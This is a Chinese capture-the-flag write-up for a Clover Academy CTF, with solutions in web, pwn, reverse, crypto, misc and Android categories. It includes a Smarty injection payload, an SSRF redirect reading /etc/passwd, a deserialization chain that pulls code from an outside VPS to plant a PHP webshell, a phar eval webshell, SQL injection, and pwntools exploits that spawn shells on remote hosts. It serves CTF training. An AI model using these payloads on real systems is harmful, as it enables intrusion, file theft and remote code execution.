第一届四叶草网络安全学院牛年 CTF大赛
Web
★GET
考点
- smarty模板注入
思路
根据提示输入GET参数得到源码.发现为smarty模板注入
payload: ?name={if passthru ('nl fl*')}{/if}
★Website
考点
- ssrf中使用302跳转进行bypass
思路
一开始尝试dict、file、gopher等协议,发现都被禁用了
但是可以访问其他主机,就想到用302跳转去bypass
在vps上开个web服务,内容如下
代码语言:javascript复制<?php header('Location:file:///etc/passwd');
再用题目访问vps,可以看到是成功访问的
接着去读取apache的配置文件
代码语言:javascript复制<?php header('Location:file:///etc/httpd/conf/httpd.conf');
代码语言:javascript复制在最后面可以看到有两个web服务,监听了80和8080
分别读取源码
80: web1/index.php
代码语言:javascript复制<?php
error_reporting(0);
function check_302($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect
curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
return $info['url'];
}
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {
exit("<script alert('Cloversec WAF!')");
}
if (!preg_match('/^(http|https)://[_a-zA-Z0-9-] (.[_a-zA-Z0-9-] )*/i', $url)) {
exit("<script>alert('Cloversec WAF!')</script>");
}
$url = check_302($url);
echo $url;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
echo "<base href="" . $url . "/">" . $result . "";
} else {
echo "Hello";
}
?>
8080: web2/index.php
代码语言:javascript复制<?php
class copy_file{
public $path = 'upload/';
public $file;
public $url;
function __destruct(){
if(strpos($this - url,'http://127.0.0.1') === 0){
file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));
echo $this -> path.$this -> file." update successed!)";
}else{
echo "Hello CTFer";
}
}
}
if(isset($_GET['data'])){
$data = $_GET['data'];
unserialize($data);
}else{
echo "Welcome to CloverSec WebSite";
}
?>
然后就是反序列化了,在vps上写好代码
代码语言:javascript复制<?php system("ls /");system("ls ../");system("cat ../flag_WebSite_SsRf.txt");
代码语言:javascript复制用下面的序列化
代码语言:javascript复制<?php
class copy_file{
public $path='upload/';
public $file='1.php';
public $url='http://127.0.0.1@81.68.218.54:20003/1.txt';
}
$a = new copy_file();
echo serialize($a);
按照如下方式传参,上传代码
代码语言:javascript复制http://example.com@127.0.0.1:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://127.0.0.1@81.68.218.54:20003/1.txt";}
代码语言:javascript复制
再去访问即可看到结果
http://127.0.0.1:8080/upload/1.php
★file manager
考点
- phar伪协议
思路
题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录
经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类
那就生成phar改一下名字,再用phar伪协议触发即可
由于文件上传的代码不允许php存在上传文件中,就用<?=绕过即可
代码语言:javascript复制<?php
class game
{
public $file_name="shell.php";
public $content = "<?=eval($_POST['cmd']);?>";
}
$a = new game();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化
★StAck3d 1nj3c
原题 [SUCTF 2019]EasySQL
代码语言:javascript复制select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
代码语言:javascript复制
★问卷调查
填完给flag
Misc
★Here are three packages!
第一个压缩包:根据提示百度后,发现与月份有关,密码应该为数字,对压缩包进行爆破,得到密码:956931011
第二个压缩包:对字频进行统计,得到key:key{bgfi9JaFHhosw}
第三个压缩包:在tip3中存在零宽度字符隐写,解密得到密码:key->Zero-Width
white.txt是snow隐写,得到flag:flag{e3e1cd2fa790e0b35795ef3b2ab3992b}
★牛气冲天
伪加密cattle.jpg以及zip
steghide解,脑洞密码就是文件名
获得密码,awd@$..120LP
解压zip,获得png,改高度
★LSP们冲啊
经典crc碰撞
代码语言:javascript复制import datetime
import binascii
import string
def crack(crc_in):
crcs = set([crc_in])
r = string.printable
for a in r:
for b in r:
for c in r:
txt = a b c
crc = binascii.crc32(txt)
if (crc & 0xFFFFFFFF) in crcs:
return txt
print crack(0xd878a99d)
#0x07D3F356,0xd878a99d,0x4E25A843,0x6E16E99D,0x549248B9
获得密码:Zz!9(18Hb9e#>h8 解压后png进行lsb隐写即可
Reverse
★RE1
拖入ida,在字符串窗口看到 "upx"字样,于是首先对它进行upx 脱壳
代码语言:javascript复制upx -d re1
将得到的elf程序拖入ida
代码语言:javascript复制__int64 __fastcall h4vefun(__int64 input_str)
{
__int64 v1; // rax
char v3; // [rsp 1Fh] [rbp-61h] BYREF
char v4[32]; // [rsp 20h] [rbp-60h] BYREF
char v5[40]; // [rsp 40h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp 68h] [rbp-18h]
v6 = __readfsqword(0x28u);
std::allocator<char>::allocator(&v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, "hj4ppy new year", &v3);
std::allocator<char>::~allocator(&v3);
std::allocator<char>::allocator(&v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v5, "qaq", &v3);
std::allocator<char>::~allocator(&v3);
if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
input_str,
"hj4ppynewyear2021") )
{
std::operator<<<std::char_traits<char>>(&std::cout, "ok.this is flag");
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_40115A);
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v5);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4);
return 0LL;
}
发现是c 程序,可以看到下面这一行关键代码,如果我们输入的字符串等于 "hj4ppynewyear2021",就成功了。它也是我们索要得到的flag
代码语言:javascript复制if ( (unsigned __int8)std::operator==<char,std::char_traits<char>,std::allocator<char>>(
input_str,
"hj4ppynewyear2021")
验证一下:
代码语言:javascript复制$ ./re1
please input your flag
hj4ppynewyear2021
ok.this is flag
★RE2
这题是exe程序,拖入ida,查看main函数
代码语言:javascript复制int __cdecl main_0(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
dword_42537C = 123400 * strlen(a1234567890) 31415926;
v3 = sub_4113BB(std::cout, "plz input your key");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_411573);
std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &dword_425380);
if ( dword_425380 == dword_42537C )
v4 = sub_4113BB(std::cout, "right");
else
v4 = sub_4113BB(std::cout, "wrong");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, sub_411573);
return 0;
}
关键代码 :
代码语言:javascript复制if ( dword_425380 == dword_42537C )
v4 = sub_4113BB(std::cout, "right");
而dword_42537C在上面可以得到 是32649926
代码语言:javascript复制
代码语言:javascript复制dword_42537C = 123400 * strlen(a1234567890) 31415926;//a1234567890:"1234567890"
代码语言:javascript复制所以 flag就是32649926
PWN
★PWN1
ida:
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v4; // [esp-20h] [ebp-20h]
__uid_t v5; // [esp-10h] [ebp-10h]
void *v6; // [esp-8h] [ebp-8h]
v6 = malloc(0x200u);
bzero(v6, 4u);
read(0, v6, 0x1F4u);
v5 = geteuid();
setresuid(v5, v5, v5);
printf("shell function = %pn", shell);
vuln((char *)v6, v4); //存在栈溢出漏洞
return 0;
}
--------------------------------------------------
char *__cdecl vuln(char *a1, const char *a2)
{
int v3; // [esp-48h] [ebp-48h]
return strcpy((char *)&v3, a2);
代码语言:javascript复制
思路:
直接栈溢出,返回地址覆盖成 后门地址即可。
exp:
代码语言:javascript复制
代码语言:javascript复制from pwn import *
context.log_level='debug'
p=process('./pwn1')
#p=remote("129.226.4.186",10000)
elf=ELF('./pwn1')
main_addr=0x080485AB
#gdb.attach(p)
p.sendline("a"*(0x48 0x4) p32(0x0804856D))
p.interactive()
代码语言:javascript复制★PWN2
ida:
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf[2]; // [rsp 0h] [rbp-10h] BYREF
buf[1] = (void *)__readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("welcome to Xian: ");
read(0, BUF, 0x30uLL);
puts("Dou you know the hzwz?");
scanf("%llu", buf);
printf("Yes you know: ");
read(0, buf[0], 8uLL);
puts("Finish!");
printf("Good bye %s!n", BUF);
return 0;
}
思路
这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)
所以这题的就是往buf中写入一个shellcode,想办法去执行它。
怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候 实际 就会跳转到 buf地址那里
exp:
代码语言:javascript复制from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
#p=process('./pwn2')
p=remote("129.226.4.186",10001)
elf=ELF('./pwn2')
shellcode=asm(shellcraft.sh())
print len(shellcode)
p.recvuntil("welcome to Xian: n")
p.sendline(shellcode)
p.recvuntil("Dou you know the hzwz?n")
pd=str(0x601028)
p.sendline(pd)
#gdb.attach(p)
p.recvuntil("Yes you know: ")
bss_buf=0x601080
pd=p64(bss_buf)
p.sendline(pd)
p.interactive()
★pwn3
ida:
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp 0h] [rbp-30h] BYREF
char buf[24]; // [rsp 10h] [rbp-20h] BYREF
_QWORD *v6; // [rsp 28h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("happy new year!");
printf("plz input something: ");
read(0, buf, 0x10uLL);
v6 = (_QWORD *)strtoll(buf, 0LL, 16);
printf("nsomething: %lldn", *v6);
printf("Show me your code: ");
read(0, v4, 0x90uLL);//栈溢出漏洞
return 0;
}
思路
程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。
这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。
我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。
代码语言:javascript复制
代码语言:javascript复制ropper --file ./pwn3 --search "pop|ret" | grep rdi
代码语言:javascript复制
exp:
代码语言:javascript复制from pwn import *
context.log_level='debug'
p=process('./pwn3')
p=remote("129.226.4.186",10002)
elf=ELF('./pwn3')
libc=elf.libc#ELF("/lib/x86_64-linux-gnu/libc.so.6 ")
p.recvuntil("plz input something: ")
pd="601018"
p.sendline(pd)
p.recvuntil("something: ")
puts_addr=int(p.recv(15),10)
libc_base = puts_addr -libc.symbols['puts']
system_addr = libc_base libc.symbols['system']
binsh_addr = libc_base next(libc.search("/bin/sh"))
p.recvuntil("Show me your code: ")
pd="a"*0x30 p64(0xdeadbeef) p64(0x400803) p64(binsh_addr) p64(system_addr)
p.sendline(pd)
p.interactive()
Crypto
★凯撒大帝三步套娃
代码语言:javascript复制base64 -> base32 -> hex -> 凯撒 -> md5
★抚琴的RSA
代码语言:javascript复制#coding=utf-8
import gmpy2
p = 28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
q = 15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
e=354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
n = p*q
c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
phi = (p -1) * (q - 1)
d= int(gmpy2.invert(e,phi))
m=pow(c,d,n)
print(m)
flag{42134526936705472951339882390913202211002951999415321980512196989}
代码语言:javascript复制
★另类RSA
RSAtools一把梭
flag{3031}
★独家加密
和安卓2的加密算法一模一样
写个解密函数改改参数就行
代码语言:javascript复制#include <stdio.h>
#include <string.h>
int main() {
char key[] = "2021.2.26";
char a[] = "Q[VPLDRTwQBF^YJ";
for (int i = 0; i < strlen(a); i ) {
for (int j = strlen(key); j >=0; j--) {
a[i] = (a[i] ^ key[j]);
}
printf("%c", a[i]);
}
return 0;
}
★hello cpy
代码语言:javascript复制from string import digits, ascii_letters, punctuation,whitespace
space = digits ascii_letters punctuation whitespace
for i in range(11):
if ord('f') & 15 ^ i == 4 and ord('f') & 240 == 96 and ord('l') & 15 ^ i == 14 and ord('l') & 240 == 96:
rand = i
break
flag = ""
k = [4, 96, 14, 96, 3, 96, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, 0, 96, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48, 1, 96, 3, 96, 3, 96, 4, 48, 7, 96, 2, 48, 0, 48, 1, 96, 11, 48, 11, 48, 2, 48, 0, 96, 2, 48, 3, 96, 10, 48, 0, 48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112] for i in range(len(k)//2):
for j in space:
if ord(j) & 15 ^ rand == k[2*i] and ord(j) & 240 == k[2*i 1]:
flag = j
break
print(flag)
隐写
★在屋子上的小姐姐
binwalk解图片,得到提示:八位数字,结合图片上日期的到flag:
flag{20200606}
移动安全
★android2
jeb反编译这个apk 定位到mainActivity
找到主要逻辑
容易推断出只要将字符串^TY_C^MIQVK][E解密即可
找到DeEnCode类中的encode方法
写出解密函数即可得到flag
代码语言:javascript复制#include <stdio.h>
#include <string.h>
int main() {
char key[] = "2021.1.19";
char a[] = "^TY_C^MIQVK][E";
for (int i = 0; i < strlen(a); i ) {
for (int j = strlen(key); j >=0; j--) {
a[i] = (a[i] ^ key[j]);
}
printf("%c", a[i]);
}
return 0;
}
flag{fuqinsec}
我们欢迎每一个对技术充满热情的同学
如果你和我们一样,想做出点成绩
这里给你无限的空间,任你翱翔
进组方式,简历投递邮箱6ixg0d@timelinesec.com